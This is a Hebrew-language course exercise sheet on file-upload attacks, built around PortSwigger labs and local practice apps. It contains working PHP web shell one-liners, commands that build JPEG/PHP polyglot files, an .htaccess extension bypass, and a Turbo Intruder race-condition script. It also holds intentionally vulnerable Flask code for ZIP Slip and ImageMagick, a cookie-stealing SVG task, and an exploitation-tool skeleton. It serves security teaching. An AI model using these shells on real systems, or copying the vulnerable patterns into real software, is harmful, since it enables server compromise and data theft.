לדלג לתוכן

העלאת קבצים מתקדמת - תרגיל

תרגיל 1 - עקיפת סוג תוכן

משימה

השלימו את המעבדה:

Web shell upload via Content-Type restriction bypass
https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-content-type-restriction-bypass

שלבים מנחים

  1. נסו להעלות קובץ PHP ישירות - שימו לב לשגיאה
  2. תפסו את הבקשה ב-Burp
  3. שנו את ה-Content-Type מ-application/x-php ל-image/jpeg
  4. שלחו וגשו לקובץ שהועלה
  5. הריצו את הפקודה הנדרשת

תרגיל 2 - עקיפת Path Traversal

משימה

Web shell upload via path traversal
https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal

שלבים מנחים

  1. העלו קובץ PHP - שימו לב שהשרת מחזיר את התוכן במקום להריץ אותו
  2. הסיבה: תיקיית ההעלאות מוגדרת לא להריץ סקריפטים
  3. שנו את שם הקובץ ב-Burp להכיל path traversal: ../shell.php
  4. אם ../ נחסם, נסו ..%2fshell.php (URL encoding)
  5. גשו לקובץ בתיקייה מעל תיקיית ההעלאות

תרגיל 3 - עקיפת Blacklist

משימה

Web shell upload via extension blacklist bypass
https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass

שלבים מנחים

  1. גלו ששרת Apache חוסם סיומות PHP
  2. העלו קובץ .htaccess עם התוכן:
    AddType application/x-httpd-php .custom
    
  3. העלו את ה-webshell עם סיומת .custom
  4. גשו ל-webshell והריצו פקודה

תרגיל 4 - עקיפת וולידציית תוכן

משימה

Remote code execution via polyglot web shell upload
https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload

שלבים מנחים

  1. גלו שהשרת בודק את תוכן הקובץ (לא רק Content-Type או סיומת)
  2. צרו קובץ פוליגלוט - תמונת JPEG שמכילה קוד PHP:
# שיטה 1: שימוש ב-exiftool להוספת PHP בתוך metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg shell.php

# שיטה 2: הוספת magic bytes
printf '\xff\xd8\xff\xe0<?php system($_GET["cmd"]); ?>' > shell.php
  1. העלו את הקובץ הפוליגלוט
  2. גשו אליו והריצו פקודה

תרגיל 5 - מרוץ תנאים

משימה

Web shell upload via race condition
https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition

שלבים מנחים

  1. גלו שהשרת מעלה את הקובץ ואז מוחק אותו
  2. הגדירו ב-Burp שתי בקשות מקבילות:
  3. בקשת POST להעלאת ה-shell
  4. בקשת GET לגישה ל-shell
  5. השתמשו ב-Turbo Intruder או ב-Race Condition extension
  6. שלחו את שתי הבקשות במקביל - כ-20-50 פעמים
# Turbo Intruder script
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           requestsPerConnection=100,
                           pipeline=False)

    # בקשת העלאה
    upload_req = '''POST /upload HTTP/1.1
Host: TARGET
Content-Type: multipart/form-data; boundary=----boundary

------boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php echo file_get_contents('/home/carlos/secret'); ?>
------boundary--'''

    # בקשת גישה
    access_req = '''GET /files/avatars/shell.php HTTP/1.1
Host: TARGET
'''

    for i in range(50):
        engine.queue(upload_req, gate='race1')
        engine.queue(access_req, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    if 'CONTENT_OF_SECRET' in req.response:
        table.add(req)

תרגיל 6 - ZIP Slip

משימה

בנו סביבת תרגול מקומית:

from flask import Flask, request
import zipfile
import os

app = Flask(__name__)
UPLOAD_DIR = '/tmp/uploads/'
EXTRACT_DIR = '/tmp/extracted/'

@app.route('/upload-zip', methods=['POST'])
def upload_zip():
    file = request.files['file']
    zip_path = os.path.join(UPLOAD_DIR, 'uploaded.zip')
    file.save(zip_path)

    # חילוץ פגיע!
    with zipfile.ZipFile(zip_path, 'r') as zf:
        zf.extractall(EXTRACT_DIR)

    return "Extracted!"

if __name__ == '__main__':
    os.makedirs(UPLOAD_DIR, exist_ok=True)
    os.makedirs(EXTRACT_DIR, exist_ok=True)
    app.run(port=5000)

משימות

  1. כתבו סקריפט Python שיוצר ZIP עם path traversal
  2. העלו את ה-ZIP ובדקו שהקובץ נכתב מחוץ לתיקיית החילוץ
  3. כתבו webshell ב-/tmp/www/shell.php דרך ZIP Slip
  4. תקנו את הקוד כך שיהיה מאובטח נגד ZIP Slip

תרגיל 7 - ImageMagick

משימה

בנו סביבת תרגול עם ImageMagick:

from flask import Flask, request, send_file
import subprocess
import os

app = Flask(__name__)

@app.route('/resize', methods=['POST'])
def resize():
    file = request.files['image']
    input_path = '/tmp/input_image'
    output_path = '/tmp/output_image.jpg'
    file.save(input_path)

    # שימוש ב-ImageMagick - פגיע!
    subprocess.run([
        'convert', input_path,
        '-resize', '200x200',
        output_path
    ])

    return send_file(output_path)

if __name__ == '__main__':
    app.run(port=5002)

משימות

  1. צרו קובץ MVG עם payload של SSRF
  2. צרו קובץ SVG עם payload של קריאת קובץ
  3. העלו את הקבצים ובדקו את התוצאה
  4. נסו לקרוא את /etc/passwd דרך ImageMagick
  5. הציעו תיקון (רמז: policy.xml של ImageMagick)

תרגיל 8 - SVG XSS

משימה

  1. צרו קובץ SVG שמכיל JavaScript שגונב cookies
  2. העלו אותו לאפליקציה שמאפשרת העלאת תמונות
  3. גשו ל-SVG ובדקו שה-JavaScript מורץ
  4. הציעו הגנות (רמז: Content-Type, Content-Disposition, CSP)
<!-- SVG XSS payload -->
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    // TODO: כתבו קוד שגונב cookies ושולח לשרת שלכם
  </script>
  <text x="10" y="50" font-size="20">Innocent Image</text>
</svg>

תרגיל 9 - סקריפט כלי תקיפה

משימה

כתבו כלי Python שמנסה אוטומטית טכניקות העלאה שונות:

#!/usr/bin/env python3
"""
Automated File Upload Exploitation Tool
"""

class UploadExploiter:
    def __init__(self, upload_url, file_param="file"):
        self.upload_url = upload_url
        self.file_param = file_param
        self.techniques = []

    def add_technique(self, name, filename, content, content_type):
        """הוספת טכניקת העלאה"""
        self.techniques.append({
            'name': name,
            'filename': filename,
            'content': content,
            'content_type': content_type
        })

    def setup_default_techniques(self):
        """הגדרת כל הטכניקות הידועות"""
        shell = '<?php system($_GET["c"]); ?>'

        # TODO: הוסיפו את כל הטכניקות:
        # 1. העלאה ישירה (php, php5, phtml, phar)
        # 2. Content-Type bypass
        # 3. סיומת כפולה
        # 4. Case sensitivity (pHp, PHP, Php)
        # 5. null byte
        # 6. .htaccess + jpg
        # 7. polyglot (JPEG magic bytes + PHP)
        pass

    def run(self):
        """הרצת כל הטכניקות"""
        for technique in self.techniques:
            print(f"[*] Trying: {technique['name']}")
            # TODO: שלחו את הקובץ ובדקו אם הועלה בהצלחה
            pass

דרישות

  1. הכלי צריך לתמוך בלפחות 10 טכניקות שונות
  2. לכל טכניקה - בדיקה אוטומטית אם ה-shell עובד
  3. דוח סופי עם כל הטכניקות שעבדו
  4. תמיכה גם ב-ASP ו-JSP (לא רק PHP)

סביבות תרגול נוספות

  • PortSwigger: כל מעבדות File Upload (כולל Expert)
  • HackTheBox: מכונות עם תגית File Upload
  • TryHackMe: "Upload Vulnerabilities" room
  • DVWA: File Upload module (Hard difficulty)
  • bWAPP: Unrestricted File Upload